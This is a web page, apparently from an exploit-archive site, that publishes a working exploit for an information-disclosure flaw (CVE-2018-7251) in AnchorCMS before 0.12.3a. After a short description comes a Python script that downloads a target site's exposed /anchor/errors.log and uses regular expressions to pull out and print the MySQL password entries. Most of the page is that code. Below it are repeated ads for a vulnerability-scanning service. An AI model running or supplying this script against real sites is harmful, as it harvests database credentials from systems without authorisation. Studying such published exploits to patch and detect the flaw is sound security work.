anchorcms < 0.12.3a information disclosure

▸▸▸ Exploit & Vulnerability >>   webapps exploit & multiple vulnerability




anchorcms < 0.12.3a information disclosure Code Code...
				
# Exploit Title: Information disclosure (MySQL password) in error log # Date: 2/10/2019 # Exploit Author: Tijme Gommers (https://twitter.com/finnwea/) # Vendor Homepage: https://anchorcms.com/ # Software Link: https://github.com/anchorcms/anchor-cms/releases # Version: 0.12.3a # Tested on: Linux # CVE : CVE-2018-7251 # By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log. import re import sys import importlib def get_plain(url): try: plain_result = requests.get(url=url) return plain_result except: return None def print_usage(): print('Usage: {0} <url>'.format(__file__)) if __name__ == '__main__': # Ensure we have the URL if len(sys.argv) != 2: print_usage() sys.exit(1) print("* Using AnchorCMS website: " + sys.argv[1]) print("* Trying to import 'requests' module") requests_loader = importlib.util.find_spec('requests') requests_module_found = requests_loader is not None if requests_module_found: import requests else: print("* 'requests' module not found, please install it using pip") print("* pip install requests") sys.exit(1) json_url = sys.argv[1].strip("/") + "/anchor/errors.log" print("* Trying to get errors.log file at: {}".format(json_url)) plain_result = get_plain(json_url) if plain_result == None: print("* URL could not be requested, errors.log is probably not exposed") sys.exit(1) print("* Found data {}, trying to parse it now".format(plain_result)) lines = re.findall(r'"line":\d', plain_result.text) print("* Found {} error entries".format(len(lines))) passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text) print("* Found {} passwords entries".format(len(passwords))) for password in passwords: print("+ {}".format(password))

Anchorcms < 0.12.3a information disclosure Vulnerability / Exploit Source : Anchorcms < 0.12.3a information disclosure



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.